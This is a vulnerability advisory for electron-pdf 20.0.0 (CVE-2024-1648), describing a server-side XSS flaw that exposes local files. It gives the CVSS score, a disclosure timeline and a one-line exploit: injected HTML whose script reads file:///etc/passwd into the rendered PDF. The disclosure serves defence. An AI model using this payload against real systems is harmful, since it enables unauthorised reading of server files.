electron-pdf 20.0.0 - Local File Read
Summary
Name | electron-pdf 20.0.0 - Local File Read |
Code name | |
Product | electron-pdf |
Affected versions | Version 20.0.0 |
State | Public |
Release date | 2024-02-19 |
Vulnerability
Kind | Server Side XSS |
Rule | |
Remote | Yes |
CVSSv3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVSSv3.1 Base Score | 7.5 |
Exploit available | Yes |
CVE ID(s) |
Description
electron-pdf version 20.0.0 allows an external attacker to remotely obtain arbitrary local files. This is possible because the application does not validate the HTML content entered by the user.
Vulnerability
This vulnerability occurs because the application does not validate that the HTML content entered by the user is not malicious.
Exploitation
To exploit this vulnerability, we only need to send the following malicious HTML to electron-pdf:
Exploit.html
<script> x=new XMLHttpRequest; x.onload=function(){document.write(this.responseText)}; x.open("GET","file:///etc/passwd");x.send(); </script>
Thus, when electron-pdf parses the malicious HTML, it will return the local file specified in the generated PDF.
Evidence of exploitation
Our security policy
We have reserved the ID CVE-2024-1648 to refer to this issue from now on.
System Information
-
Version: electron-pdf 20.0.0
-
Operating System: GNU/Linux
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.
References
Vendor page https://www.npmjs.com/package/electron-pdf/
Timeline
2024-02-05
Vulnerability discovered.
2024-02-05
Vendor contacted.
2024-02-19
Public Disclosure.